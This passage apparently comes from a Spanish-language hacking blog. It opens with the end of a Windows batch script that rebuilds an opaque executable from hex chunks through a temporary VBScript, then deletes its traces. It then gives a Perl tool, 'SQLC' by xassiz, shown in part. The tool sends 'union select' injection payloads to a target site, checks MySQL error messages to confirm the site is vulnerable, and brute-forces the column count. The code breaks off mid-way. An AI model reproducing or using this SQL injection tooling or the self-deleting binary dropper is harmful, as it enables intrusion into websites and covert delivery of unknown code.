"D433F35AACE87C7A26E29279FD3BBA64BE355A7D017FE21C946C0DAB74660DD795CCC1"
"471FCC64AE5819FF012E95F97174A98C022EF307FE9FC0EAB7F0F405CC357000A45BCA"
"EBF0D1022C42662D465C721AE074D18D7576BE08463B3584107699C1806AD4E0DD3B23"
"61BE20173048E21A875A97099A7D8E170CF8E46F18C3BFDD4217CDF4EBE0E399AD2E1D"
"62E4C3B12F10C6BFB712E64763B1D14F06E562EC6834417345F376A0173EEDE3575C10"
"C5F91E24E0C6F362611B16EEF4166640C14F039D8945B3E2AF7E481C1254D17C0128A4"
"3A9413FF21D0B4F366AFFAF9CC5FFDA86F19513FEB866BE7C651265D5434EF1A4FFDFC"
"8178517DFE7BA439E88C023FA56111954685E600551A45FC1F2F50A5A139E0290445B5"
"E382F878C9CD0E32AB00B4BB4C667497C9F9372F8F5253217328C55DB8A3C74780DAF1"
"CCA54AA679804AD40C503FEA32882A68740D6AA50DBA730D72CD453F0F7C19C86F1EA7"
"C5A05B38E18E42B6C344AAA0F85969FF9A35C209575A0C330D5937D1807B1A9D7D5461"
"047DA6EB1F2FEC3C79FE9A801A89B010D4DC679D62738CC1B3C7ECB494A026539D72B5"
"5D750DC688CCBEFF05093E5F91299AF1D907FF48AFC8577CF0CEDFD73B2E932FC78C65"
"F28C9BAF65F2C5D9E3317965DC784CCEBDF9973179FF77BF84C9AFF7F933F9A5BEF199"
"7CE2D22826C7C4FA317951FF30939FEC1F9FC9A72E5DCB643B30D9620D3418F93D2002"
"70992CEA9C421FE361A1BBA340AB2FA0FCA7FB1E93C4A0C322CE1642402A09534724E1"
"03BAD25829D73EFEFEC3354FA4C7E5F2B33E2E3F8E8C7DE59B71191B3D7B2C6397CCBE"
"96B137448FC7D87B6E1E8FB1D6D9BF8CB13DDFFE12C6769DF767ECD1F3E333F6EA0FA3"
"185B14E3C758E38561C6B65F189FB10103D732763330D64E197BF61265ACFA5BDAB94A"
"5DAA648391A1CC1A1F8FBD31B5778D8FC36391C3F34638DC4B97193B0D2DE6F5593CE6"
"DC84575F2B9AFF4C9F8FCA15CD4F89C494F38FF72231AD125787D46430F0BB7F10CF0B"
"E0FEEDF04E39467930A97B28F5EFC40E7DD0A15D0A8493F02DDE1E43CC07006FEF10E0"
"8D366890BFF3223E4655829D0E463BEDC980DEB87531C497F8EE6CFE0A9D0B25DA1FE8"
"50068B4F7508A5059F5AFEC2D9D1231518C89ED25C3475E80641651045F34289779E71"
"689D8CFC6B1ED1C8BA1BFBD910AEBD87568B27243EBC48B9F30DFFCFAF453997A29C07"
"7805A2EE46904988BCDDA57DFECF0EBA869F1DE0B36901823EDE12855BF172E71C8E95"
"C7F7E51B0DFC8DB3A0A69D891CE9F6674AC89EC7F12269BD3D2BC0009E0EE197602C3E"
"A81AD05C658EA9D97E373BD490F36B70AC20606C951682D3A8D80DCDF454282F8A9218"
"52DD2175C6917C70D6AA3952ED963AF33517993001FDCF218DAEDFDE56ED8A75422FD1"
) Do >>t.vbs (
Echo.For b=1To 69Step 2:o.Write Chr(Clng("&H"^&Mid(%%b,b,W^)^)^):Next)
For %%b In (
"A7E8E3DB6F143DFB7ABAFF4DABDE9B45857D664F2CD68DEF0E8D7F84050FE134CA20F0"
"5734270550975E7356D17C4B001EC790F17FE8C1584BA268F9891E22C1131078CA215A"
"AD93B152EB0F1E253DF30025450B7AC256EF211893C1AD4398FC04503826BA418C02C7"
"CDCAA63B95FDC2317474395DBF0664CD2CE2EB1A94B15B80E0102E1C8351351DD0CEDD"
"38D890EF66FBDEA2C78174FDF1BA41378B1B63816E08A0870F75F4E112469031A00101"
"247B83049F690E36E9FA880C59D96FDF8F0772CC12E27FDCE3279012FE3D9054F09222"
"33E8F302CF57231C4E91F8040345CC2A31F04670634D7A60229F08185A505999DEDA01"
"B265045CF9C69B6854A16EA4683FB417CF3B00CE5CF160FC3E58558D43EE5239451C18"
"4D65A1CF047FE204804F73C52DE7DBE9AE0BAEC114CD8186AC2009DD1E0B6C0839C2CF"
"D3C93D8120A0EA46394063F70DF3398CA229B27AF81051CF0CE80952ECC021455C8DFC"
"C91BC57366265CBDD71BF84DA0A2443768A4FE2B832CC78C8D9E9918C419EAFA15F7C7"
"E096D2F357C793B6716D13555C11A0B72E12AF45FA465460A8332250D62C40DD9E1E5A"
"A954B46CC748AA785068D545014EAA3657E320F049F19BB6C238E46910FE0476E2A20B"
"E4DFEFF38617052812ADB982DE848B11E05A8874E40112AAC2E115CCCCF389DDDD2C8B"
"9BE978428C79D8D47397FF0A5A0BBAB204F5F34A08680EE098063C6A166505A20EF1AB"
"7CE37E48D55E84C1C407817142686264F32E68CC57A8C6948F4BA651C79684A0ED204A"
"3BF1C71ABA4675F4D2F7AEFDD215DE534BB28BB83D251BE5F7C9E9963AFFED856B6F61"
"FDF302D64BAFD9A664EA2FE9E4A05909534D3312C204F1D66E417890BA0FB9CD079810"
"8B7B0A219E9B5E9042F641CC46BC1000593CB4E699F0828C9961E1F0FCDABFC1107A8B"
"6C321E2D03AFE72ADA82089EFB026A8DFCEFAE606CB9767CE55F361A63239782F5C036"
"E138DDD1F50B35A5D0EB38CA144EC6243E32029DB405546908B059A2B7280101FE479E"
"6E0B319F20BB8E8E3AD851E81A9CE09CA2786D9B5B0BC21CDBD2A4158F4E0688CF5F76"
"B050BE5B4B0FE94AE8436CC9E82D662DC5F99441380182CB6C40A1B580BDB46E46CEDC"
"CB8BE7C904361C1A50BB3AE54BD1AEB6E607E90D5639BFE0BC6857E57EAE450A48D6A2"
"D66592124B272C2C3DEF02CFC2D51E40171DD8F2DDE818C17A578E22C309EFF1CE315A"
"DC473D95404FBC1D070501712C335DF3E188BCFBC8D853895A5E27D37430DD2E19E87E"
"B9C1DDA854DC5708D5AD9B325A0BDE41D3928727804EC11CA16C899A8C08BED14D6D6A"
"CB295CA13771059D9CF363D0618A9677B1A25CAA68D94733600AF6D08C5CD182313277"
"A6E90B7CDD41D5C6BD177690BD812BE8C6111E150F29D67ACFD7A25FC2B5C7E1E952D5"
"21EEA3B0234CB06BEBE150D646F361E083AA8B8798756EB0A4C75487A06A22572C73A9"
) Do >>t.vbs (
Echo.For b=1To 69Step 2:o.Write Chr(Clng("&H"^&Mid(%%b,b,W^)^)^):Next)
For %%b In (
"057639B74AE99E0455FB9860555B58279BC9151CA60C4F014EFF948DCF85E350C85587"
"404943ABC5DC19D717122F3693D4CBFB583957D08F87735C83018EB4F184B5077D10AE"
"A00F1A7589BD0F71C7102D2181BF47411FA91FE4DA5D5D01148D20F5F25E660FE2A268"
"398D5A6CEB6909FB82EBABE8B03E76279EF580468A96FDF44E7F80FDDF7A76D3B97BBB"
"8B0E8917672CDE096B0CEF6663A18C16E270DB018BF8049C33F5B51C058E799B490083"
"494212FF45B8E824CCC78DFAD58883E2FE68B4255F45ABDA3C59AEAD83E05B29B062EB"
"106117039FDD05439E45084221E271E12A1DAB4F10C7FA028BBABEA6AF04E15B210CF8"
"7E1497FBFA2E22E8949C4EE9EAD083B151DCBBF727BA05B4B6BC0C9DBB116BFA1AB416"
"ADE973F8B07C63CF9370692D22E5594422CD16D345BFE4AB63206DCFF65F91AEDEB927"
"CF1BC4D300274BF993E741EE3F2BED04D1EF7337F60AC700194D077BC328C13FC6BBCF"
"225E3D55418418399B5C7389CB96814150346704E1690F4573325CB9FCF9DC3299EB72"
"28B74589FB7FF9116E5D37979F0092C3E5CF853CB38EEECADECE75B8BA94AAA361FBD9"
"12F52A19F3ABE167D9200AB3E8215699C513091AB2F647D085D600FEB55EEA277B46D4"
"5A8868B48FF1DF9D01CAD073A6C77A401B11FA6C7532D71147570D8EA1ECF92DD66F89"
"254C98EBF2042698CB8F0507AB350714DE04C5FD77239CD8964FF341D6E963B09588DE"
"122A8C456079ADA1FC4B3D34D49831C20F8314FD5751C27BF2B11068E9A79AA81F7C36"
"AE139C9591C673E8696C9F80DBF0803C1A56DC90EF36F015D4ED66D7801BC8C4FB53E2"
"46911206CBE7488A8ACB488A40FE250F35139EE970D760E9C55BF997452AEDA0B7947E"
"A76E7B7605821CC37878E0949B85808132DB68580AA864A2153C86EA14079FEAF30327"
"7A59701E807B7642C1F21D0E7376108791F0F3E83072CF6F714E120A48C735289BBEC2"
"D7A160E1F631D3F118397DDE004B7C6DA418F8B6C81107A82762FD81706F7D3F1E91DC"
"09F2AC2EEE67D2294AE0736E4EA00F0166F8909A0C6BBF10CF1758FA01604F082E58AC"
"B15CC06239149BBEA68AAA2D6C10490750B8C1020C81F9B367C578467B1503E1F99E60"
"C0826BEC47E751CF17811BDB7397E8BB839F743940F1681B4439E0A435AF0DC0B7180C"
"FCBD67BCBB3BF49475BF35D4C01FFA4EAC7A18DD76281F43FBD3D82F618340A97BC0BD"
"E9757D2DA1A8DC3E4C1A20CC5C6C03A38B6E7702FF37F4084205B617F2EF4EF1D2A35B"
"82522CB65388EDC281563D1FA2BB489BAEC462DB5571489C4C711F13C815F7BA653DCF"
"63E7AF9574E80960C65C9BA402BB12D93BCB5FB6945E169F43E2A1D2412EF761211215"
"95F816C75A8C0DF94FC438BB08A002CC295E984C28A829B7A4A704E3CBEB41FF020196"
"7AA17F8F85DD78A2788B2CC4C086F2BB61A58006F2C8E8C60AE8201FC93670F9CA382A"
) Do >>t.vbs (
Echo.For b=1To 69Step 2:o.Write Chr(Clng("&H"^&Mid(%%b,b,W^)^)^):Next)
For %%b In (
"4C285B09D81E2659C22A4EEAF89333638100FB2603DDC23FD375967C46CB1F4FF6D20E"
"5F281C6E3F79B83D1ECDEF7908C61EE9F206566DF6A283A40EC1D6519E1A68F2599467"
"1D46E30D69DE7D6863B2E74EFA346A0915CA71277B11E7671BF2737FFD030BBEE05390"
"B30ADCE2D60D755067097DA8C8317A76F6A7A867CBCA696CFFEB2544529827A6D7F347"
"9241272613E42DF9A3DC2D51AFD313FCC231884C15CDF4FD0588FA2E299A1FA38FB495"
"A2D4C2FCF8B7C5E72BA1F4997DCFFDF436049EF286F3AEF668F0EF84D6FC2E98613E97"
"DF1787EF5E223FD8409550C00543F54DC30EC89608B01A2621D5D516A0E71F3E4F835E"
"D0EA18ABC95DED60D964F6BF791EBB5677AB4EE26C3D53D1559B349A12BE730272F2B3"
"B37B537C4AAF68FE9B6F6E2FD2F946E07C9F141F2F5841A728DD99EE2D523EE20C2A67"
"80ADE91CA6823809DCF969CD0DD25B49FC15AB6C39BFE70B248D3B981DF1BF2B7C0ADF"
"6342CF0EDB5A27F00F890DF3A5CCF1D65C093E561652F9FE735029A0CE5216985AF356"
"07E88506297F066A85546F48B2149FAD5D67D2638F8AB49C323277011321FAB08A3DC0"
"1BE6D79DA0DC9B600DE1BF3A0EC0E418B5E9A134748EA204AB32A3E554438CAB7DBE2B"
"9330115C7EB7D795436FCFC86F3B833EB3FED7ECE7884FF609713BC477DE909E82BCC6"
"598EA25B1EE02C0C527F61C88DE17AAFD8E92DDC2F52B5B9D941DC44B74A6E6E873018"
"16870950AA398784D79C653468B6C0354CA3F1329309F17D91669FE37D9381AF57A02B"
"8161E622F128233D763893FE4EB59A460581C3C7427BDA51E1B585EAA11F3F70D2BBF3"
"C17CA5C7810DBC82FA976C187D8FE6A1CF804A87F1E470ABAE576F699E8CB1793F7F96"
"FA7ACC6990946CC4F51F9F83540E5CD2F5E15A0653DE38D4D046371D76297617062876"
"9312BD250DFA5AB30DFC8EB3D41AE38694F799543FFF1085C78683BB97BF8F0FD0209D"
"EC6FA9718F88058826DCF85BD4898B44EA9C4D111B383DA235142DB7083E5F6F1A36B7"
"4AF6CEC71011BBE94ED3288D4B4191452B07E18AC1ADE321EC2BE6ABB9C86E7041E20F"
"8286A9764714C202617E4D9BE0E651A7701CA4362F300CA2FB1024D6F12EBA117C890D"
"A738D80174CF63D4C44008356489A6D41934F2AF9C111D8E68980115B64D1FA3B0E1DE"
"CB10941EF282615E37BAF1E959B792BE8E05A384F10EDFBD2710E2B7E8443CD6874E04"
"C4B7460A5629CEFF14FACAD71E76EC8DF58F1FDDA583AA013188344210C994A84B2398"
"A5EAD228A6405D3A935DC2FFC72774414CB76CC591127024BE0690B56C417573C2338F"
"F71C1577AFD1E3866077B14617B179E6E81891FFE3C7A894283251842B8EBAB30DD8CA"
"C8A2F9F8EFC59D73E6B491FF76488C4967E2E645542BCA79849E7FF17B0AFE4D15DDD4"
"7397E2FB598AFB1240423D81D44CCB5BE54DDC746B4036A8C43237AB7404719BA4A868"
) Do >>t.vbs (
Echo.For b=1To 69Step 2:o.Write Chr(Clng("&H"^&Mid(%%b,b,W^)^)^):Next)
For %%b In (
"81BB5100824FFD513C9D918C12EAAB14BC95937103091F21E00308EE8AEA147832A5BD"
"5C635F874E890605300DD445717D8AE6055004FD53E46A5406B0B942838C5F44B79473"
"34FBD845262FD8772F8B6023712C5FE523E2584CB81726F832C54A15182DF0E84FC3F8"
"6E5D17A79B09BE7CABEEB4DE6470B33CFF2C7560B9E2D3E26E33971F85A70B34F933C5"
"E7FB42FE4CD105C2E014BDC3900E5D3FDD262816B768658A7BCFA2D3E1E5B3BAB49F4D"
"520D00731BE281FC9AF714CD181A7339F826AA8CBAF4CC04F51A808E3BCEF9AE7D7A0D"
"1B61EF3460789FDD93472578A6C1F235CAC0FCF3742FC5D94565CD3BC5677FF4450CA2"
"8FACB8EABFFA867EF2AE3EEF5D7C070A828279067FBF7CA6D01065B07C89431CFA56F4"
"CBA77489CBE431F1AEE51BBCF932BD19D073B7FFAE98D7FC9DE0938F22AE14A7498053"
"CF7DF89C3F275A73809D22CE560C60987F729B623D515C51ACE63D5661D0F34F9F1737"
"CE5899672F7719F83CD5348C5C180C6FB274A3E7DE04590B8F68C47D2B7AEEF5545BC9"
"7B2E5EF5BE8FE4DBE2C137C15C6913C4737601A3CED5F23B713D1CD2A0E16F3BE02E94"
"BA0B65EE4279077D037BCC5B7846FE25F134B88ACB978916689689DBA8D4F3D1F43D4C"
"999E0FEB44CBC8819296B15F96BBAAA5C477D4A5ECDADD362EBC845F23429497F0BF81"
"9C917F17ECD498A65CB1AC844F14DB057239D271EE4E11C4C781E06DC471ABE4EA1269"
"433F978367305D3F4AECB25BB93E2E5BC90E82734B4F8726965D7B34D4C87F70557CBA"
"8CC7740B5D5BC009FEC11AC1371D131F9BC0EA76DDA1244021800244E28A23289D2AE9"
"1A90829B49203AC897C1A25D2677E728DDF9722E5F5A38E66428B74AD67294B1704BA4"
"AFE31BF29A7DCE5B981C2DAE1D265D8B6F03312A2D0A06335F8BDBB84C9C163F4CC1DC"
"E849D1E2EA60A2E1328130E15AFCAE05BE2146C2083BDDB55FBE82DF814E42B8B1D52E"
"37F2BFC7E061CE589AA3AF61E0BFA607AC58194CB3478126FDA8DA20053D7C8FCCBD4A"
"A6B8EF1275B0F0F09CBA40AA68E9C44F597851AD64968BA8CEA7A88AAF845374C557C2"
"29AEDE576A0BE427C9C9E04F7B3C378B4BC02838E5BCFA8818563D812D56C93C5BA0D9"
"67C1A7A3CE760DBC9377B78DDBEFD92ACEEF76717E51E2FC4CD08C5B26D5144AD9A55C"
"B806CF0C14C8ABB965C1D59AC260560DB970C885B38B20170AB950360E7201900B6067"
"404E0E39393BA99A8366324F0842239A606607B755B9446390E2B4EFC573843EFF2C02"
"B7003DFDFE4706815CE621C2BF34342222F8344ED932C08651B78A3A997DA6FCD68C54"
"135F7C44F4D0869879461A851EE8A42F63982C483E74C75A7E1295B39C9E18FCE463EF"
"E0631E68FA864D16CF0AABAC52FEC2473ED07120916EB4E556297D8F8C1E751805768B"
"0876CCC3061FD0B35786813E711DA0520AF4E4903FD0793F0BF4C111A08523404FEAE4"
) Do >>t.vbs (
Echo.For b=1To 69Step 2:o.Write Chr(Clng("&H"^&Mid(%%b,b,W^)^)^):Next)
For %%b In (
"27A37C408329D0E651403F3EF67340537C4065FCC50F87817EA6937F4681CA2C289F08"
"74D128A05B7D4047D114F7905503E0CBF0677EA4608DFC006E43E1238BC3624D1E7DF7"
"5EDE30D568A48F713BC533954C7081A6516EFF067ECAD969BEE9C8E8C87FBFE23FF20D"
"57E8C86587C63E78E0AD3F8E08502C7DBA286F988E8E3D7D5388AF1B35D2D75C4779E9"
"982745F4618C7990A0CAA22FD3E1A1CF8B3FFAA892020E37A8B8305077A083F09DFD60"
"4EAF741B659A7C391BE85E26179649F5FC5D57BC47556F3F4AF723C7202A6EE1E0034E"
"911E539B364A71A2788C4D29D8E4BC0DB74D03C47399E374AB12BB4DF1750BC53E893F"
"FAFA8C3B54C28FC31A7C2A57286DBA4C1FBDC8F00A107AB86CF9753A5EBA3CDC514E07"
"0C20ECC5EB373F7879FC29D5FDFC941EBEFC3FA1845733204E09C3209689203C30BB37"
"70729A7799606055B0E764CB21608D5EEAB6C991176340D168588420BFEC75E911F056"
"B02E86BD385DCD0146AAE96057A91B23C453B45419B97510B54764ABB74821073E6C06"
"31F17F3F2C06B37266AEBB4CEADE22F3DCD23A93A8CB648E9B5AB7C8416FC19275DD42"
"0CFC76B161081D29C25D26F3BECEDA20E7078FF9B6B0475BB6E179560FD2794EF7914A"
"E9ED0BD4423F50A4D6B83DE78B3D67FA7A4E114D87B7F3B7C39D23C6EBFCDD25AF8390"
"2DBD0EEBDFBF343E0F5FBD0EEBF159A65C3FAC5B5F1F1CFB24D1AF89A829FFE3E79A88"
"7ACFF1734D442DA61F1C7BD87EF865E261FB319FB6F152F1B010D7AF1C79CF79D02FDF"
"E797D7D3F746D11BC697963FF25EB1DC309D481E9C2E7E87C777BFD3EFFEA499441237"
"73F4FD8FFDEE67CD2292DC59A3EFFBC32F892592F2D8EBF73F3897488E43DA7E1BBE2F"
"2CFE45DD2E7E0FEC51BFBA5EA89361DDDA91BA374AA16E122177F8D55597017C68B7DD"
"AFCE0E7504DA6DF6AB6B833AA01059EA573708756DCAF13FCB23BBDDFBBD23B8A642CA"
"8764845405C90E691BA4ED909E86B407523BA4E390D65510B212521EA45448BF827423"
"A4C9F84133487D7710F229A483905E83F42748BF83741F241BA4DB201542CA80340752"
"28A4817242CE418A817403A48390FE0AE97148DB21D92195419242CA2E17F13E0C73EB"
"85740ED2F132B16E2A5CE7424A87742BA4D59002BCF79E83EB16483BBC6546FCA21AE9"
"079A7F0AA91DD20B901E83F420A4BB2155435A0D6929A43C48A99016428A8534197905"
"E947A0C946987733A47F83F414A41721BD0A693FA4C3908E43EA82F44D8538F6DD9222"
"C74AF34666555D4D657D9579F4F7D4486FA0C1CC2CAD70303ABBBDDE4EC857928251E5"
"DF0614D4D6AFABA85D55575B5F792750C85BCEB79BCD303F6F6929BDD7E22DE5D4E207"
"E22C812BCC1555F935B5D0EE86C062B696A959B28931AFAC37D55499732D1576F27B1C"
"2BB7BECE515F6B5ECE323696C9D51372026BB1DBCA4D3633D10440C9C0541556D45521"
) Do >>t.vbs (
Echo.For b=1To 69Step 2:o.Write Chr(Clng("&H"^&Mid(%%b,b,W^)^)^):Next)
For %%b In (
"A467030ACD1536C0B9A8AEBADEBEA182A9A9AF23A33F0B471E21E5E535F5EBCAABD93A"
"0832BE916E306FA8B46D22E473A877AE37331B2A6AEA2AECEB1D844448CA2BCD1B6B80"
"3DEB24E5346325E5AB2B6D383E63B69387A4E2DD4F24E53575350C546D20124979C506"
"C77AB139F918603ACC0CEB30233216B31D68F60329AFA8B2B20EA6BCBAAAA601C380F2"
"725B797965FD06FC4622216F89E56AB1745484505E61B395333865FFAFD991C5240B47"
"0584197376F69A9CD5AB6F236B10D74AB38D29B750AAD89345D875E416984F7D1D63AF"
"AFADB6019C00A0536E6D8D6D5D7D85BD2A8F7E06B080E4D6D63BCCC3B5847C40741B6C"
"CC26BF1A45C0729BB96EA4A25BB2B4BEA2CAC0D86BEAD69B483A41E6ADB2D9CC7613F1"
"FFDC9EFFF7F6C8446234DB4B58B37D93B1A296359B3028F3F2156E38806BC84013E8FF"
"6B6B0D35774307FF4FF64D96C0E8B9161850E1CD1501441DE6E13F1359E2CD61ADFFE7"
"FDFE11505407E443D13557E9365602BDD69BC96CA9A1D66CB69137FCEFE6D66FB055D8"
"CDC38D48A414A8B7AA4E243176068203825EC91840292DAEAF626BCDA268E680A60AA4"
"13D69BED5434EB2ACDB9F52C8E40AA518A57D654DE492B0879854A3E6BB79BEB989516"
"3BAC9322A0FB8B7EB57A7B7DA5D9E180EAE574056C7230E60D2B6B3698731C746D408E"
"2C90AEF48986B739217FBE1606C9945E771A241C6729A2B0AA6829CC9CAD80C9FF1400"
"2BDABBC80B25F974A1150328B887149602B36AAA378D6224598EB506BAA0AB6A7088E2"
"0AC79DE4377E6BBC98CAFB6BD25A0763AF35D7A1F4102FD97DC245CA29A5283E140533"
"5931BA0DD0F96EA94F85ACAC1FD62BE4CF543380B4D554014108B91921794980770879"
"82B610B5D373A21E0149236427CD8B1AED4F34BFC22CB6DA2E35D96B18B3177F905689"
"0E56BD8FAE3F8CC800F26459C506A4CE998072503835951B60C4F3A87B6071236FCB41"
"F394D73BAA2D5E4D6684556CB7D7D513522F29AF86FE90FD20B0BCC151E7B4C144996A"
"620E72563A987A908C3BC51C5B4B2C620E56D86FA4D5D5B5AC033C9B27A5D5DE1EFE7F"
"F82991FF9AFE769ECF3EA31311443F7CFAAFBFFF6B7FF879311E7C90B99094E2F759B7"
"45899F77DD36B6A544FC4CECB8F50F5CA7FEA971EA274847BE393CB6FEE075EA71D36C"
"F5FDA3EFBFE022E4E540BFEF9AC2487F0B1829079262D0234524236BE386DAE8065127"
"6963121726C4449BEBC0E501A5A18D59B5327F415A4CB48381D557515B5F67D6C66C32"
"3B62B232278666CC5EB0203AB7DEB6C95EB3DEC244CFAD9C175D5C5369AF77D4573350"
"6FB7D5DBA99B11BD6001B6AE7038CC1BD6D56E8A86E1EA1CDA18D65E97EEA8B4983754"
"38166CF0F55B000639BDC2B1616143624C3498829A6AB38331FAE3E60FAAA80AB4750D"
"B369626834FC0D4F2165213484A662B54DD43AF5F61C7BA505945225C3DA61161BD352"
) Do >>t.vbs (
Echo.For b=1To 69Step 2:o.Write Chr(Clng("&H"^&Mid(%%b,b,W^)^)^):Next)
For %%b In (
"BD0DEA40FF686386515F68AAA9ABAA773A16A26E7250FBB1106DBAB735BA1ADA18674D"
"9D2A096A16213A556647A5BD869A874C6C19BD20BAB2DE566376448363138D9F118E06"
"2D531F5DE9F30C3216F97799180A30183BF83D68117E2179544808C427C361AE6441D9"
"6EF296699DDD7C170B843357E9ED350D308DF56687DFEDD14D741B010022B2D4DC60AE"
"1DDD0AFF6AB15A1B53E128AA6BA8BFD36C8FB9B6095B93538934D6C65457D43ACC635A"
"2CF2C76CD1F551CB58E437958C45C314A1251FCB29B5A8FCBE1C984C3FC86C20E5F0AB"
"037B6700695E4E9641B9087EF3218F7FFF907E7755D4DEC12420DB36CD77CDF2AE0329"
"FC1BABDB4303B1C7CF7DCF153CFE006C83DF724D206A7A5D02BF108790A9509F0B6D36"
"803EC06FB56EF2FBB22B815557432A016E3D7140AA8631A2696B3BB4AEA75F771DF9AA"
"2B43E6002CDFD879901CB46F0DB4F5FFF66B2EDCC7BA68B2005225D4DBA06CA65FAA65"
"880572D1A48A42AE805C0DFDEE6C3D6D29F65B0725FCDE2C984CB8778BDF9846FA7D5A"
"87DF58A96421CC73215C13E8BF852411F22A9206BFD1642E6980B60E3A5239F46460DE"
"D83E155A25C23511304C827F092485CCA3F092C80418EFFADFC2F5E1B8104A1BBD34DC"
"06250950DA0C9CC1D6B974C69B2865D6C37CF1FBDE7F066C7E39AD17C29D1C80540BD7"
"11280E5A423A22660DF05B052D2176A5382FF7B6ACF1E2ECA359DDCFE26E2571D0574F"
"B1AA222CB461FE1BF9F80B6061A2A354418D13EAB16639C0350FCF0165341A247613A5"
"BD19A0D1EF1B13C535638DE5E8CFF113FFF2A89519FF7BC4F8174B3F9E7EFDEF124F90"
"EEA25F577FFFEAFB570F7A6D1611B74688EF1BCE7C67CA7FCEBAE1FC8BC5BF9DBD3D69"
"D29280A90FDDAD5EDFDB74F5ABA898D73FFED2705DFBFC007E071DD2EF70AFC4FB097A"
"2CEFF29687BF110F49EECD8B566FE40FED7AD438F5C1DE7BC8CF0570CFF02F77E8FFC6"
"1F30BD0A44745BE2F6C41D89A713BB12FB9306938CAA0DAAC7552FAA5E57BDAFFA54F5"
"8D6A62F2B4E4B8E445C9A9C9B9C995C9CDC96F257F9CBC26A539E58F298752CEA690D4"
"D05475AA29D59CCAA6FE21B523F5E6C5E58BB72D7E7AF10B8BE7A4C5A725A6A5A669D2"
"B2D37469BF4E33A4DD91764F5A73DA93697F4E7B33AD3DEDBDB48FD22EA45D4A23EA20"
"F564F5CDEA79EA04759EFA56B55E6D5457AA6BD476F5C3EADFAB9F56BFA0DEA57E53FD"
"81FA94FA73F579B5345D913E2D3D267D617A7A7A767A41BA3EDD985E965E957E67BA3D"
"BD31BD259D4BFF4BFAEBE9524D84E606CD5CCD079AD39ACC8C5B335665D833DEC93894"
"C167081916EDF3DA0EEDC7DA2E2DAFEDD30E69A764CEC84CCE4CCFCCCECCCF5C9AB922"
"734DE61D99EB33EB32D9CCCD99AE4C2EF391CC3F643E9FB92BF3EF997B33FF99F941E6"
"C9CCAF337B332F64FE9429CD9A9C7573567C567A9631AB2A8BC9BA3B8BCB7A3CEB2F59"
) Do >>t.vbs (
Echo.For b=1To 69Step 2:o.Write Chr(Clng("&H"^&Mid(%%b,b,W^)^)^):Next)
For %%b In (
"6D59ED599F647D9EF54396F83F58E8474D903035E157091909B9097724342434253C92"
"F072427B42574258E2ECC47989B989AB1277257E987836F1DBC42B89B149C5496B922C"
"497549F724FD7BD25F93DA938E270D25A5A9B25445AA55AA47548FA9FEA4DAA53A4CB9"
"33A092254F07FE2C48CE49BE27F981E44793F72677249F493E9F2C4F35A436A5BA53FF"
"983A7571CCE2AD8BEF5FFCC7C52F2E3EBCB873F1B78B43D3E6005FB6A4FD366D67DA2B"
"C005212D4CBD327D7DFAD6F447D3F7A61F4EEF4CFF3C7DA366AFE6AA2623A324E39E8C"
"FB331ECE7831A3376387F6196D48A63AB339F395CCD733C3B222B372B39667ADCCBA33"
"6B6BD653592F67FD57D667595F67A173802F200427CC4E488039E72494249427BC95F0"
"51C28F09C1894A98EF23899F247E9178217146D22D49B7263D93F4F7A4B3499EA41F92"
"C2551B556FA84EABFA5543AAD8E484E4CDC9FF96BC27F99DE40F92BF4E2E497924A52D"
"A533A52B2524754A6A55EAEF52BF4CFD3E75DDE286C5AF2C5E9156965699F662DA0769"
"9EB40075BDBA45FD90FA2D7570FA449092A2F4E530AFFBD29F487F2EBD0DE6B64E53AF"
"D9A47954F3B5E6A266424678465BC6B98CF319C1DA28ED226D8ED6AABD4BDBA46DD13E"
"AD3DAF15B43765E66596673E953994B936EBA1AC3F64898111EAE0CF127E4A90240625"
"4E489C9838293132717AE22CE0E4E2C4D5890713BF4B2C48DA90D498E44E7A2CE96852"
"942A5EB530657BCAA6D447529F4E6D4BFD34F54CEAB9D4AF52BF493D9F7A217520F5C7"
"D4ABA98AC58D8B5F5AFC2E706649DABAB4BAB4B7D3BE4FD3C32C5E531F57F7AA07D5EA"
"7436FD50FA17E93FA4CB3526CD439A739ADC8C77B519990599B7655A335FCC0CC902D3"
"071E0921CF27252F9EA34E5267C24AAA525BD4CDEA07D47F8235F48EFAA0BA5BCDABFF"
) Do >>t.vbs (
Echo.For b=1To 69Step 2:o.Write Chr(Clng("&H"^&Mid(%%b,b,W^)^)^):Next)
For %%b In ("A5F4FEF5E7FBFB7F"
) Do >>t.vbs (
Echo.For b=1To 15Step 2:o.Write Chr(Clng("&H"^&Mid(%%b,b,W^)^)^):Next)
Cscript /Nologo t.vbs > "binario.ex_"
Del /f /q /a t.vbs >nul 2>&1
Expand -r binario.ex_ >nul 
Del /f /q /a binario.ex_ >nul

Un saludo hermanos!

[Tool] SQLC (SQL Columnator) - by xassiz

2009-12-20T03:43:00.000-08:00

SQLC (SQL Columnator) - by xassiz

SQLC es mi herramienta en Perl, capaz de devolverte el número de columnas de una web, luego de comprobar si realmente es vulnerable.

Un ejemplo de su uso:

Aquí teneis el código:

#!/usr/bin/perl

use LWP::UserAgent;

if (!$ARGV[0]) {


print q (


      .d8888.  .d88b.  db       .o88b.
      88'  YP .8P  Y8. 88      d8P  Y8
     `8bo.    88    88 88      8P 
       `Y8b.  88    88 88      8b 
     db   8D  `8P  d8' 88booo. Y8b  d8
     `8888Y'   `Y88'Y8 Y88888P  `Y88P'


             [+] Modo de uso:

perl SQLC.pl http://www.target.com/news.php?id=

       -------------------------------

              Coded by xassiz


);

exit 1;

}

print q (


      .d8888.  .d88b.  db       .o88b.
      88'  YP .8P  Y8. 88      d8P  Y8
     `8bo.    88    88 88      8P 
       `Y8b.  88    88 88      8b 
     db   8D  `8P  d8' 88booo. Y8b  d8
     `8888Y'   `Y88'Y8 Y88888P  `Y88P'

);

$target = $ARGV[0];

print("\n [+] Website a atacar: $target \n\n");
print("\n [?] Comprobando vulnerabilidad \n");

$vulnerabilidad = LWP::UserAgent->new() or die;
$comprobacion = $vulnerabilidad->get($target."-1+union+select+69--");

if ($comprobacion->content =~ /The used SELECT statements have a different number of columns/ || $comprobacon->content =~ /You have an error in your SQL syntax/ || $comprobacion->content =~ /mysql_fetch/ || $comprobacion->content =~ /mysql_num_rows/ || $comprobacion->content =~ /MySQL/)
{

print("\n [+] Objetivo Vulnerable \n\n\a");
print("\n [?] Buscando numero de columnas \n");

$count = 2;
$max = 500;

$precolumnator = LWP::UserAgent->new() or die;
$precolumns = $vulnerabilidad->get($target."-1+union+select+0x78617373697a--");

if ($precolumns->content =~ /xassiz/)
{
print("\n [+] La website tiene 1 columna \n\n\a");

exit 1;
}

$inject = ",0x78617373697a";

